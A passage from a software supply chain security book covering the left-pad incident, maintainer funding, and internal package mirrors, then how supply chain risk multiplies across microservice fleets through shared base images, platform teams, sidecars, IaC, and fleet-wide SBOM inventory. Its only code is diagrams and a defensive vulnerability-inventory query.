The upper-left quadrant — **high criticality, low health** — is where your finite attention belongs. Those are the packages that are both load-bearing *and* fragile: the Nebraska blocks in your specific graph. For each one you have a menu of responses, roughly in ascending cost: mirror it (below); subscribe to its advisories and pin it with integrity hashes; fund it (Sponsors/Tidelift/Open Collective); contribute maintenance to raise its bus factor; or, if the risk is unacceptable and unfixable, replace or vendor it. The point is to *spend the scrutiny where criticality and fragility intersect*, not uniformly.

Give back: fix and upstream

At fleet scale you are a large consumer of open source, and the ecosystem's health is partly your responsibility because it is partly your risk. When you find and fix a bug or vulnerability in a dependency, the mature move — captured in the OpenSSF **S2C2F (Secure Supply Chain Consumption Framework)** as the **"Fix + Upstream"** practice — is to fix it *and contribute the fix back to the maintainer*, rather than carrying a private patch forever. This is not altruism; it is engineering economics: a private fork of a dependency is a maintenance liability that diverges further from upstream with every release, and upstreaming both discharges that liability and improves the shared artifact you depend on. It also, in aggregate, raises the effective bus factor of the projects you rely on — your engineers become part of the maintenance capacity. (The

S2C2F and the broader "consume securely" discipline are developed fully in Book 8.)

Mirror so a maintainer can't break your builds: left-pad

The final fleet-scale lesson is defensive and concrete: **do not let a live public registry sit on your build's critical path.** If your CI resolves dependencies directly from npm/PyPI/etc. at build time, then any registry outage, any package deletion, or any maintainer's protest can stop your entire fleet from building. The canonical demonstration is **left-pad, March 2016.**

Azer Koçulu maintained a large number of small npm packages, including **left-pad** — an eleven-line function that pads a string on the left. He also owned a package named **kik**. The messaging company Kik, through its lawyers, wanted that name; when Koçulu refused, npm's leadership sided with Kik and transferred the name. In protest at npm overriding his ownership, Koçulu **unpublished all of his packages from npm** — roughly two hundred and fifty of them, including left-pad. Because left-pad was a transitive dependency of enormously popular toolchains (Babel, and through it much of the React/JavaScript build ecosystem), builds across the industry began failing within minutes as `npm install` could no longer resolve the now-missing package. npm took the highly unusual step of **restoring ("un-unpublishing") left-pad** — overriding a maintainer's deletion, itself a norm-breaking act — to stop the bleeding. In the aftermath npm **changed its unpublish policy**: packages can be freely unpublished only within a short window after publishing (72 hours), and after that a package that others depend on cannot simply be removed — deletion requires contacting npm and is blocked when the package has dependents, precisely so one person can never again vaporize a load-bearing dependency at will.

The eleven lines of left-pad were never the point. The lesson is architectural: **an external, mutable registry is a runtime dependency of your build, and a maintainer or a registry has unilateral control over it unless you interpose a cache you control.** The mitigation is an **internal mirror / pull-through proxy** — Artifactory, Nexus, Verdaccio, a private PyPI, Go's `GOPROXY`, a vendored `vendor/` directory, or a cloud artifact registry — that caches every dependency you have ever resolved so that a deletion, outage, or relicensing upstream cannot break a build you have already validated.

The mirror is also a **security chokepoint** (Chapter 6): the single place to enforce allow-lists, scanning, provenance verification, and pinning before a package can enter your builds. left-pad is usually told as a story about tiny dependencies; it is really a story about **who controls your build's inputs**, and the answer should be *you*.

Key takeaways

- **The ecosystem's human and economic structure is the risk surface, not context for it.** Governance model, maintainer capacity, funding, and license are load-bearing properties of the code you have already shipped — inherited transitively, thousands of times, and mostly unmanaged.
- **Governance predicts resilience.** Solo-maintainer (bus factor 1) and single-vendor (relicensing risk) sit at the fragile end; foundation-governed (ASF, LF/CNCF, Eclipse) provides the two things individuals cannot — a durable security-response process and succession. Community forks are the ecosystem's check on single-vendor capture.
- **Burnout is systemic, and it makes the maintainer a single point of both technical and trust failure** — abandonment, capture (xz-utils, Chapter 5), and self-sabotage (colors.js and node-ipc, Chapter 4). Signing and provenance prove *who* produced an artifact; they cannot tell you the maintainer is exhausted, compromised, or angry.
- **The Nebraska problem is concrete:** core-js, pre-Heartbleed OpenSSL, and colors.js were all universal and underfunded. The packages most likely to be a one-person project are the small, boring, universally depended-upon utilities.
- **"Just pay maintainers" is genuinely hard** — discoverability of critical deps, fairness of allocation, and tax/legal friction — which is why the effective responses are institutional and criticality-targeted: CII (post-Heartbleed), OpenSSF, Alpha-Omega, and the Sovereign Tech Agency, each doing a specific, distinct job.
- **License changes are supply-chain risk in the availability/legal dimension.** Copyleft (GPL/AGPL) obligations and single-vendor rug-pulls (MongoDB SSPL 2018, Elastic 2021, HashiCorp BSL 2023, Redis 2024 → OpenSearch, OpenTofu, Valkey) can force migration on

someone else's timeline. Watch dependency updates for license *changes*, not just CVEs.

- **Popularity is not health.** A hugely-dependended-on package can be a solo side project — that combination is the danger. Read health from responsiveness, effective bus factor, `SECURITY.md`, 2FA, provenance, and funding; use OpenSSF Scorecard and Criticality Score to do it at scale (Book 2, Chapter 10).
- **At fleet scale, triage by criticality × health, upstream your fixes (S2C2F Fix+Upstream, Book 8), and mirror your dependencies** so that a maintainer deleting a package (left-pad, 2016) cannot break builds you have already validated — and so the mirror doubles as your security chokepoint.

Further reading

- Randall Munroe, xkcd #2347, "Dependencies" (`xkcd.com/2347`) — the Nebraska-maintainer illustration of critical-dependency fragility.
- Nadia Eghbal (Asparouhova), *Roads and Bridges: The Unseen Labor Behind Our Digital Infrastructure* (Ford Foundation, 2016), and *Working in Public: The Making and Maintenance of Open Source Software* (Stripe Press, 2020) — the definitive treatments of open-source economics and maintainer labor.
- Denis Pushkarev, "So, what's next?" (2023) — the core-js maintainer's own account of universal dependence against negligible funding (`github.com/zloirock/core-js`).
- Steve Marquess, OpenSSL Software Foundation, "Of Money, Responsibility, and Pride" (2014) — the post-Heartbleed account of how little funded OpenSSL actually was.
- The Core Infrastructure Initiative and its successor, the **OpenSSF** (`openssf.org`) — charter, working groups, and the Best Practices Badge.
- **Alpha-Omega** (`alpha-omega.dev`) — annual reports describing the Alpha (targeted) and Omega (long-tail) strategies and where the money goes.
- **Sovereign Tech Agency** (`sovereign.tech`) — program descriptions for funding and bug- resilience work on critical open-source infrastructure.

- OpenSSF **Scorecard** (github.com/ossf/scorecard) and **Criticality Score** (github.com/ossf/criticality_score) — the automated health and criticality tools (deep dive in Book 2, Chapter 10).
- OpenSSF **Secure Supply Chain Consumption Framework (S2C2F)** — the "Fix + Upstream" and secure- consumption practices (developed in Book 8).
- The Open Source Initiative's analyses of SSPL and the Business Source License, and the OSI's criteria for what constitutes an open-source license — background for the relicensing section.
- The npm blog, "kik, left-pad, and npm" (2016) and the subsequent unpublish-policy announcement — npm's own account of the left-pad incident and the policy change it produced.
- Ross Anderson, *Security Engineering*, 3rd ed. (Wiley, 2020) — the economics-of-security and free-rider chapters underlying this chapter's account of why maintenance goes unfunded.

Chapter 9 — Supply Chain Security in Distributed Backend Systems

What this chapter covers. Every prior chapter ended with a "distributed-systems lens": a paragraph or section translating the topic into the language of many services, many teams, many repos, and high deploy frequency. This chapter inverts the ratio. The lens *is* the subject. The supply chain concepts you have accumulated — the chain's anatomy (Chapter 1), the attack taxonomy (Chapter 2), the case studies (Chapters 3–5), and the trust/threat/economics toolkit (Chapter 6) — were mostly developed against an implicit *single* artifact: one build producing one binary that one team deploys. That model is pedagogically clean and operationally extinct at any company large enough to have a platform team. A modern backend estate is not one supply chain with one endpoint. It is hundreds of supply chains, overlapping through shared components, feeding a fleet that redeploys thousands of times a day. Scale does not merely make the same problem bigger. It changes the shape of the problem: where the concentration risk lives, who the high-value target is, how an initial compromise moves, and — critically — how fast both attack and remediation propagate. This chapter is the bridge that makes the rest of the series specifically about *your* system: a large,

heterogeneous, continuously deployed microservice estate, rather than a generic "the software supply chain."

Learning goals — after this chapter you should be able to:

- Quantify the **multiplication effect** and reason about **blast radius** when a shared base image, internal library, CI template, or injected agent is compromised, rather than a single service.
- Identify **concentration risk** in your estate: the small set of components whose betrayal reaches most or all of the fleet, and explain why they are high-value targets precisely because they are ubiquitous.
- Explain the **platform team as chokepoint and target** — the paved-road model as both a security multiplier and an internal SolarWinds — and why paved roads beat voluntary policy at scale on pure economics.
- Map the **architecture-specific attack surface** of cloud-native systems: service-to-service trust as a lateral-movement path, sidecars/agents/webhooks/operators/DaemonSets as fleet-wide auto-updating trust, and IaC/config as "code you run."
- Reframe **inventory and response** (the Log4Shell question) as a distributed-systems problem — "which of my 500 services, across N languages and M versions, are affected and where?" — and connect it to fleet SBOM inventory, immutable infrastructure, and remediation velocity.
- Apply **Conway's Law** to supply chain ownership: draw the boundaries between app, platform, and security teams, and see the gaps between them as the places attacks live.

We will forward-reference heavily and prove little cryptographically here. The mechanisms — SBOM formats (Book 3), provenance and SLSA (Book 4), Sigstore and signing (Book 5), the cloud-native control plane (Book 6), zero-trust identity with SPIFFE/mTLS (Book 6 Ch 5 and Book 9) — get full treatment in their own books. This chapter's job is to make you feel the shape of the problem at fleet scale so that when those books get mechanical, you already know which levers matter and why.

The multiplication effect: from one chain to hundreds

Start with the monolith, because it is the baseline everyone's intuition was trained on. One repository. One CI pipeline. One build producing one deployable artifact — a JAR, a container image, a binary. One deploy target, perhaps replicated for availability but conceptually singular. The supply chain is a line: source → dependencies → build → artifact → deploy → run. When you reason about it, you reason about *one* of each thing. You can, in principle, read the whole dependency manifest, know every CI step, and hold the entire chain in your head.

Now decompose that monolith into a microservice estate — the architecture almost every large backend organization has adopted or inherited. The counts explode, and they do not explode uniformly. A representative mid-to-large estate might look like:

Dimension	Monolith	Microservice estate (illustrative)
Source repos	1	200-1,000+
Build pipelines	1	one or more per repo → hundreds
Languages / ecosystems	1-2	5-8 (npm, Maven/Gradle, Go, PyPI, Cargo, gems, ...)
Produced artifacts	1	hundreds of images, per commit
Deploys per day	1-10	thousands (per-service CD, autoscaling)
Third-party deps (transitive)	hundreds	tens of thousands across the estate

The naive reading is "the same problem, times N." That undercounts, because the estate is not N independent copies of the monolith's supply chain. It is N chains that **share** components, and sharing is where the interesting risk concentrates. Every service pulls a base image. Most services in a given language pull the same handful of internal libraries. Every pipeline runs the same CI templates or reusable workflows. Every pod gets the same injected sidecar and the same telemetry agent. So the estate's supply-chain graph is not N disjoint lines; it is a graph with a small number of **high-degree nodes** — components consumed by nearly everything — and a long tail of leaf dependencies used by one or two services.

```

flowchart TB
    subgraph shared["Shared components (high-degree nodes)"]
        BASE["Golden base image"]
        LIB["Internal 'common' library"]
        CI["Shared CI templates / reusable actions"]
        MESH["Service-mesh sidecar"]
        TEL["Telemetry / logging agent"]
    end

    subgraph fleet["Service fleet (hundreds)"]
        S1["svc-auth"]
        S2["svc-payments"]
        S3["svc-orders"]
        SN["svc-...N"]
    end

    BASE --> S1 & S2 & S3 & SN
    LIB --> S1 & S2 & S3 & SN
    CI --> S1 & S2 & S3 & SN
    MESH --> S1 & S2 & S3 & SN
    TEL --> S1 & S2 & S3 & SN

```

This graph structure is the whole point. In classic reliability engineering you learn to hunt for the single points of failure — the shared database, the one load balancer. Supply chain security at scale is the same hunt with a different failure mode: not "what breaks everything if it goes *down*," but "what compromises everything if it goes *bad*." The two questions have overlapping answers, and the overlap is your concentration risk.

Blast-radius math

Make it concrete with arithmetic, because the arithmetic is what separates a shared base image from a leaf dependency in a risk conversation.

Suppose your estate has **400 services**. A leaf npm package used by exactly one service has a blast radius of 1 service if it is backdoored: bad, bounded, and — crucially — *someone owns it*, because it lives in that one team's `package.json`. Now the golden base image. If all 400 services **FROM** it (directly or through a language-specific variant that itself derives from it), a malicious layer added to that base image has a blast radius of **400 services** the next time each one rebuilds. Not 400 as a worst case you have to reason your way to — 400 as the *default*, because that is what "shared base image" means.

The multiplier is not just service count; it is service count times deploy frequency times the privilege and reach of the compromised component. Three numbers matter:

- **Fan-out (F):** how many services consume the component. For a base image or a mesh sidecar, F approaches the whole fleet.
- **Propagation time (T):** how quickly a poisoned version reaches production once published. In a continuous-deployment shop with automated base-image bumps, T is hours, not months.
- **Privilege (P):** what the component can do where it runs. A telemetry agent running as a privileged DaemonSet with host mounts has vastly higher P than an application-level utility library.

A leaf dependency is (F=1, T=slow, P=app-level). The golden base image is (F≈fleet, T=hours, P=whatever your containers can do). The injected node agent is (F=every node, T=auto, P=host). Risk tracks the product, and the product for shared infrastructure components is orders of magnitude larger than for the leaf dependencies that dominate raw dependency counts. This is why "we have 40,000 dependencies" is a misleading headline number: the risk is not spread evenly across 40,000 things. It is piled onto the few dozen that everything shares.

The internal analogue of a popular OSS package

You already know why attackers target popular open-source packages: one compromise of `event-stream` or a typosquat of a widely-installed library reaches everyone downstream (Chapter 4). The distributed-systems insight is that **your own internal shared components are popular packages from the attacker's point of view — just with a smaller, richer, and less-scrutinized user base.** The internal `common` library that every Java service imports for logging, config, and HTTP clients is, structurally, `log4j-core` for your company: ubiquitous, load-bearing, and rarely audited with the paranoia its reach deserves. It is often *worse* than a public OSS package on the dimension that matters, because public packages at least get many eyes, public CVE tracking, and ecosystem-wide scanning. Your internal `common` library gets reviewed by the handful of people on the platform team who touch it and is invisible to every external scanner you run. The reach of a popular OSS package, minus the scrutiny. That is the trade you made when you centralized, and it is usually still worth it — but only if you *know* you made it.

Heterogeneity: many ecosystems, uneven maturity

The monolith model also hides a second scaling problem: **heterogeneity**. A single service is usually one language and one package ecosystem. An estate of hundreds is not. A realistic large backend runs Java/Kotlin services on Maven or Gradle, Go services on Go modules, Node/TypeScript services on npm or pnpm, a Python data or ML tier on PyPI, maybe Rust for performance-critical paths on Cargo, and a legacy Ruby corner on Bundler. Each ecosystem has its own manifest format, its own lockfile semantics (or lack thereof), its own registry, its own signing story, its own notion of "transitive dependency," and its own failure modes. `npm`'s postinstall scripts, Go's module proxy and `GOSUMDB`, Maven's coordinate resolution and the historically weak default of unauthenticated HTTP repositories, Python's `setup.py` executing arbitrary code at install time — these are *different* attack surfaces, each covered in depth in Book 2, and no single control covers all of them.

The security consequence of heterogeneity is that **uniform policy is genuinely hard**, and the difficulty is not evenly distributed. "Require a lockfile with hashes" is a one-line policy that means five different things across five ecosystems and is unenforceable in the ones that do not support hash-pinning cleanly. "Scan dependencies for known vulnerabilities" requires an advisory database and a resolver per ecosystem. "Sign artifacts" runs into a different registry story per language. Every control you design centrally has to be implemented, tested, and maintained N times, once per ecosystem, and the marginal ecosystem — the one Rust service, the one Ruby app — gets the least attention and becomes the soft spot.

Which points at the sharpest heterogeneity risk: **the lowest-maturity team is often the entry point**. An estate's security posture is not its average; it is closer to its minimum, because an attacker chooses where to enter. The team that skipped the paved road, runs its own snowflake pipeline, pins nothing, and hasn't rotated a CI credential since 2021 is the way in — and once in, the attacker pivots toward the shared components and the high-privilege services (see the lateral-movement discussion below). Aggregate metrics ("92% of services are on the golden pipeline") flatter you precisely by hiding the 8% that matter. At scale, the security question is never "what is our average maturity" but "where is our *minimum*, and what does it touch."

The platform team as chokepoint — and as target

Confronted with the multiplication effect and heterogeneity, every large engineering organization converges on the same structural answer: a **platform team** (variously "developer platform," "developer experience," "infrastructure," "foundation") that provides shared capabilities so that individual product teams do not each solve build, deploy, and runtime from scratch. The platform team owns the CI system, the golden base images, the internal artifact registry, the deployment tooling, the service mesh, and the observability stack. This is the **paved road** (Netflix's coinage) or **golden path** (Spotify's): an opinionated, well-lit, well-supported way to build and ship a service, such that a team walking the paved road gets a compliant pipeline, a hardened base image, signed artifacts, and standard telemetry *for free*, as a byproduct of using the standard tooling rather than as a checklist they must consciously satisfy.

From a supply chain standpoint the paved road is a **trust chokepoint**, and the word chokepoint carries both meanings deliberately.

```
flowchart LR
    subgraph teams["Product teams (hundreds)"]
        T1["team A"]
        T2["team B"]
        T3["team C"]
    end

    subgraph platform["Platform (the chokepoint)"]
        direction TB
        CISYS["Shared CI system"]
        REG["Internal registry"]
        IMG["Base image factory"]
        CD["Deploy tooling / GitOps"]
    end

    subgraph prod["Production fleet"]
        P1["hundreds of services"]
    end

    T1 & T2 & T3 --> CISYS
    CISYS --> REG
    IMG --> REG
    REG --> CD
    CD --> P1

    classDef boundary fill:#fff,stroke:#c33,stroke-width:2px;
    class platform boundary
```

The good direction. Centralizing the build and deploy path concentrates the trust you have to establish well into a *small, expert-run* surface. Instead of asking 400 product teams to each correctly configure provenance, pin dependencies, sign artifacts, and harden a Dockerfile — which they will do with 400 different levels of rigor — you ask one platform team to do it once, correctly, in the shared tooling. Provenance becomes a property of "built on the paved road" rather than something each team opts into. Consistency is itself a security property: when every artifact is built the same way, an artifact built a *different* way is an anomaly you can detect (Chapter 6's assume-breach posture becomes tractable when "normal" is well-defined). The economics, which we return to below, are decisively in favor of this model. Fewer things to secure well; secured once; enforced by default.

The dangerous direction. The same concentration that makes the platform efficient to secure makes it catastrophic to compromise. Every property above runs in reverse. Compromise the shared CI system and you can inject into *every* build. Compromise the base image factory and you own the bottom layer of every container. Compromise the deploy tooling and you can push to the whole fleet. The platform team's credentials, signing keys, and pipeline definitions are the highest- value targets in the entire estate, because they sit at the point through which all trust flows.

The right mental model is not abstract. **Your platform team runs your internal SolarWinds.** The 2020 SolarWinds Orion compromise (covered in Chapter 3) worked precisely because Orion was a trusted, widely-deployed piece of software distributed through a build system that customers implicitly trusted: subvert the build (the SUNBURST implant was inserted into the Orion build process, not the published source), and the malicious update flows out to ~18,000 organizations through the normal, signed, trusted update channel. Your internal base-image factory and CI system have exactly this shape — a trusted build process feeding a signed artifact to a large population of consumers who take the update automatically — with one difference: the blast radius is bounded by your org instead of the internet, but *within* your org it is total. The SolarWinds lesson for a platform team is not "external vendors are risky." It is "the build system that everything trusts is the thing an attacker most wants, and you are running one." The controls that follow from this — protecting the build environment as a Tier-0 asset, hardening the CI runners, signing with keys that live in an HSM/KMS not on a runner, generating

provenance for platform artifacts themselves, and requiring two-person review for changes to base images and pipeline templates — are the subject of Book 4 (build integrity) and Book 5 (signing). What matters *here* is recognizing that the platform is the target, and that "we centralized, so we're safer" is only half true. You centralized the defense and the single point of catastrophic failure into the same team.

Why paved roads beat voluntary security: the economics

It is worth being explicit about *why* the paved-road model wins, because the reasoning generalizes and because "just make a policy requiring teams to do X" is the perennial alternative that keeps failing.

Voluntary security fails at scale for structural, not cultural, reasons. A product team's incentives point at shipping features; security work is a tax with diffuse, probabilistic benefit and immediate, certain cost. Ask 400 teams to each spend a sprint hardening their pipeline and you are asking each of them to pay a definite cost for a benefit that (a) mostly accrues to the org rather than the team and (b) only materializes if they happen to be the one that gets attacked. Rational teams under deadline pressure defer it. Not because they are irresponsible — because the local economics are against it. This is a classic collective-action problem, and exhortation does not solve collective-action problems.

The paved road solves it by **changing the default cost, not the incentive**. If the *easiest* way to build and ship — the one with the best developer experience, the fastest onboarding, the least YAML to write — is also the secure way, then teams get security by taking the path of least resistance. The secure choice and the lazy choice become the same choice. You are not fighting the incentive gradient; you are re-terracing the hill so the gradient runs downhill toward the secure outcome. Concretely: a team that uses the standard reusable CI workflow gets pinned actions, provenance attestation, and artifact signing without writing any of it, because the platform wrote it once. A team that uses the golden base image gets a patched, minimal, scanned base without curating one, because the platform maintains it. The security is a byproduct of the convenience.

The economic argument is straightforward marginal-cost reasoning. Centralized: pay a large fixed cost once (the platform builds the secure tooling) plus a near-zero marginal cost per team. Decentralized/voluntary: pay a per-team cost N times, with high variance in quality and

a long tail of teams that never pay it. For any N large enough to have a platform team, the centralized total cost is lower *and* the worst-case posture is better, because the minimum-maturity team is dragged up to the paved-road baseline instead of setting the org's floor. The only thing centralization costs you is the concentration risk of the previous section — real, but a *known, single, defensible* surface rather than a diffuse, unmanaged one. A trade almost always worth making, provided you actually treat the platform as the Tier-0 target it is.

Architecture-specific attack surface

Everything so far is about the *build and deploy* supply chain at scale. Cloud-native distributed systems add attack surface that a monolith simply does not have, because the runtime architecture itself introduces new trust relationships and new auto-updating, fleet-wide components. These are covered mechanically in Book 6 (the cloud-native control plane); the point here is to see them as *supply chain* problems, not merely runtime-security problems.

The runtime supply chain: service-to-service trust and lateral movement

In a monolith, a compromised dependency runs inside one process with one blast radius: that process. In a microservice estate, a compromised dependency in one service runs inside a node in a **mesh of services that trust each other over the network**. Supply chain compromise thereby becomes an *initial-access* vector for lateral movement. The attacker's foothold is a backdoored library in `svc-orders` ; their objective is the data in `svc-payments` ; the path between them is the internal API surface that every microservice architecture is built to expose.

```
sequenceDiagram
    autonumber
    participant Dep as Backdoored dependency
    participant A as svc-orders (foothold)
    participant Mesh as Service mesh / internal APIs
    participant B as svc-payments (target)
    participant DB as payments DB

    Dep->>A: malicious code executes in-process
    Note over A: attacker now runs with svc-orders' identity
    A->>Mesh: outbound call using svc-orders creds/token
    Mesh->>B: request authorized as svc-orders
    Note over Mesh,B: does B verify *what* A is, or just *that* it's
    internal?
    B->>DB: query on attacker's behalf
    DB-->>B: sensitive rows
    B-->>A: response relayed to attacker
```

The security of this hinges entirely on step 4: **when `svc-payments` receives an internal request, does it verify what the caller is and whether it is authorized, or does it trust the request simply because it arrived on the internal network?** The failure mode is the flat, implicitly-trusted internal network — the "hard shell, soft center" perimeter model — where any workload that can reach another can effectively act on it. Under that model, a single supply-chain foothold anywhere in the estate is a foothold *everywhere* it can route to, and the multiplication effect strikes again: the attacker did not need to compromise `svc-payments`'s supply chain, only *any* service's, plus reachability.

The mitigation is **zero-trust service identity**: every workload has a cryptographic identity (SPIFFE/SPIRE issuing SVIDs), every call is mutually authenticated (mTLS), and every service authorizes callers by identity and policy rather than by network position. Under that model, the backdoored `svc-orders` can still misuse `svc-orders`'s own identity and whatever it is legitimately allowed to call, but it cannot impersonate other services or reach endpoints its identity is not authorized for — the blast radius of the foothold is bounded by that one workload's legitimate authority rather than by network topology. This is the runtime complement to build-time supply chain security, and it is why the two disciplines are converging. Full treatment is in Book 6, Chapter 5 (service mesh and workload identity) and Book 9 (zero-trust architecture). The supply-chain framing to carry forward: **your dependency graph and**

your service call graph are two halves of the same attack surface. A compromise in the first propagates along the second.

Sidecars, agents, webhooks, operators, DaemonSets: fleet-wide privileged auto-update

Cloud-native platforms run a category of component that has no monolith equivalent and is almost purpose-built to be a high-value supply chain target: **software that is injected fleet-wide, runs with elevated privilege, and updates itself automatically.** Enumerate the usual residents:

- **Service-mesh sidecars** (Envoy proxies injected into every pod) — sit in the data path of every request, terminate mTLS, and are injected automatically by a mutating admission webhook.
- **Node agents / DaemonSets** — logging shippers, metrics collectors, security agents, CNI plugins — run on *every node*, frequently as privileged containers with host filesystem mounts, host network, and elevated capabilities.
- **Admission webhooks** — validating and mutating webhooks sit in the control-plane path of *every* object creation; a compromised mutating webhook can rewrite every pod spec in the cluster (inject a container, mount a secret, change an image).
- **Operators and controllers** — run with broad RBAC to manage their custom resources across namespaces; their permissions are often over-broad and their images auto-updated.

Each of these has the worst possible combination of the F/T/P factors from earlier: fan-out is the entire cluster or fleet, propagation is automatic (they pull new versions on their own schedule), and privilege is high (host access, control-plane mutation, request-path interception). A supply chain compromise of any of them — a poisoned upstream image for your logging agent, a backdoored release of your service mesh, a typosquatted operator — is a fleet-wide, high-privilege compromise delivered through the normal update channel. It is the SolarWinds shape again, instantiated at the infrastructure layer, and it is genuinely distinct from application-dependency risk because these components are (a) often third-party or open-source infrastructure you did not write, (b) deployed by the platform team fleet-wide rather than by product teams per-service, and (c) frequently exempt from the scanning and policy that application images go through, precisely because they are "infrastructure." Book 6

covers the controls: admission control (Kyverno/Gatekeeper) to constrain what can be injected, signature verification on infrastructure images before they run, minimizing privilege on agents and operators, and treating the admission-webhook and operator images as Tier-0 supply chain the same as the base image factory.

The config and IaC supply chain: code you run without calling it code

There is a persistent blind spot in how organizations scope "supply chain security": they scope it to application code and its dependencies, and quietly exclude the **infrastructure-as-code and configuration** that actually decides what runs and with what privilege. This is a mistake, because Terraform modules, Helm charts, and Kubernetes manifests are *code you run* — they just run in the control plane instead of the data plane.

Consider the trust relationships. A `terraform apply` executes modules — frequently pulled from a registry or a shared internal module repo — with cloud credentials powerful enough to create IAM roles, open security groups, and provision databases. A shared Terraform module is exactly as much of a concentration-risk chokepoint as a shared library: every stack that consumes it inherits whatever it does. A Helm chart from a public repo templates the Kubernetes objects for a service, including its image references, its RBAC, its mounted secrets, and its security context; a malicious or subverted chart can set `privileged: true`, mount the host, or point an image at an attacker registry — and it does so through the normal, trusted deploy path. Kubernetes manifests and GitOps repositories (Argo CD, Flux) are, functionally, the source of truth for what the cluster runs; whoever can merge to the GitOps repo can deploy to the fleet, which makes the GitOps repo's supply chain (its access controls, its required reviews, its provenance) as security-critical as any application pipeline.

The distributed-systems framing: at scale, *configuration is centralized and shared for the same efficiency reasons application components are*, and it therefore concentrates risk the same way. The shared base Helm chart, the common Terraform module, the standard `kustomize` base are the config-layer analogues of the golden base image, and they belong inside the supply chain threat model, not outside it. Book 6, Chapters 7–8 cover IaC and config security in depth (policy-as-code, signed and

version-pinned modules, provenance for config); the point to internalize now is that "code you run" includes the YAML.

Speed cuts both ways: continuous deployment as a security property

The last architecture-specific factor is **velocity**. A monolith might deploy weekly; a mature microservice estate deploys thousands of times a day, with automated dependency bumps and base-image updates flowing through CD without a human in the loop. Speed is a security property — in *both* directions, and it is important to hold both at once rather than treating deploy frequency as simply good or simply dangerous.

On the attack side, high deploy frequency means **a poisoned artifact reaches production fast**. The window between "malicious version published to the internal registry" and "malicious version running in production across the fleet" is measured in hours or minutes when base-image bumps and dependency updates are automated. There is no slow human release train to act as an accidental speed bump; the automation that makes you fast makes the compromise fast too. The xz backdoor (Chapter 5) was caught partly because the poisoned versions had *not yet* reached stable enterprise distributions — the slowness of that release channel bought time. A fully automated CD pipeline removes that accidental buffer by design.

On the defense side, the *same* velocity is your best remediation capability. An organization that can rebuild and redeploy every service in hours can also *remediate* every service in hours: ship the patched base image, let CD roll it out, done. An organization that deploys quarterly and by hand needs weeks to push a fix to the whole fleet, and spends those weeks exposed. Log4Shell (Chapter 5) was survivable for teams that could rebuild-and-redeploy fast and agonizing for teams that could not. Deploy velocity is therefore not a risk to be minimized; it is a **double-edged capability** to be paired with the right controls. The controls that make speed safe rather than dangerous — signature verification and admission control as gates *before* the fast path reaches production, canarying and progressive rollout so a bad artifact is caught in a small blast radius, and the ability to roll back or forward equally fast — are what convert velocity from an attacker asset into a defender asset. A fast pipeline with a verification gate is strictly better than a slow one without: fast to remediate, and the gate stops the fast compromise.

Inventory and response at fleet scale

Chapter 5 introduced Log4Shell primarily as a *response* problem: not "how bad is the vulnerability" (unauthenticated RCE, very bad) but "where do I even have it?" That question is the definitive distributed-systems supply chain problem, so restate it precisely in fleet terms:

Which of my 500 services, written across 6 language ecosystems, currently running some spread of M versions each, contain the affected component — directly or transitively, including shaded and vendored copies — and *where* (which service, which version, which environment) is each occurrence?

Notice everything in that sentence that the monolith version of the question does not contain. "500 services" — you cannot inspect them by hand. "6 ecosystems" — no single scanner or manifest format covers all of them. "M versions each" — production is not one version of each service but a distribution across whatever has been deployed, canaried, or left un-upgraded. "Transitively, including shaded and vendored" — the affected component may not appear in any manifest you can grep, because it was bundled into a fat JAR or vendored into a Go binary (exactly the Log4Shell difficulty). At fleet scale this is not a question you can answer *reactively*, by going and looking when the CVE drops, because the looking takes longer than the exploitation window. It is a question you must have **pre-answered**, as a standing inventory.

That standing inventory is the motivation for **fleet-wide SBOM as a build-time byproduct**, the subject of Book 3. The core discipline: every build emits a Software Bill of Materials (SPDX or CycloneDX) enumerating its complete dependency closure, that SBOM is stored in centralized artifact metadata keyed by artifact digest, and it is generated *at build time* — when the full resolved dependency graph is known and shading/vendoring has already happened — rather than reconstructed later by scanning a running system. With that in place, the Log4Shell question becomes a query against a database instead of an archaeology project across 500 repos:

```
# Fleet-wide impact query against centralized SBOM metadata
(illustrative)
# "Every deployed artifact whose dependency closure includes vulnerable
log4j-core"
$ osv-scanner --experimental-all-packages \
  --format json ./sboms/ | jq '
  .results[] | select(
    .packages[].package.name == "org.apache.logging.log4j:log4j-
core"
    and (.packages[].package.version | inrange("2.0","2.15"))
  ) | .source.path'
```

The important shift is architectural, not tool-specific: you move the cost of answering "where is X?" from *incident time* (when it is on the critical path and the clock is an attacker's) to *build time* (when it is cheap, automated, and off the critical path). That is the same move the paved road makes — pay a fixed cost once, up front, so the marginal cost at the dangerous moment is near zero. An organization with fleet SBOM answers "am I affected by the next Log4Shell?" in minutes with a query; an organization without it spends the first day of every major CVE rediscovering its own inventory.

Remediation velocity: rebuild, redeploy, roll back — all of it, fast

Knowing where the vulnerable component is buys nothing if you cannot *act* on the whole fleet quickly. Fleet-scale remediation has two enablers, both of which are architectural properties you either invested in earlier or wish you had:

Immutable infrastructure means you never patch a running system in place; you build a new artifact and replace the old one. This is what makes fleet remediation *tractable and auditable*: there is exactly one way a fix reaches production (rebuild → new image → redeploy), the fix is the same everywhere, and after the rollout you can prove what is running by digest rather than hoping a config-management run converged. Its converse — mutable, hand-patched hosts — turns remediation into 500 individually-uncertain patch operations with no clean way to verify completeness.

Reproducible builds (Book 4) make remediation *trustworthy*: when you rebuild everything to pick up a patched dependency, reproducibility lets you confirm that the only thing that changed is the intended change, and

that the rebuild was not itself an opportunity to inject something. At the scale of "rebuild 500 services in response to a CVE," you are executing your entire build fleet under time pressure; reproducibility and build provenance are what keep that mass rebuild from becoming its own supply-chain risk.

Together with the deploy velocity from the previous section, these define your **remediation SLA**: the wall-clock time from "patched version available" to "patched version running everywhere, verified." Organizations rarely measure this until an incident forces them to, and it is one of the most useful numbers you can put on a dashboard, because it is the direct output of your immutable-infrastructure, reproducible-build, and CD investments — and it is the number that decided who slept during Log4Shell and who did not.

Detecting anomalies across a fleet versus in one system

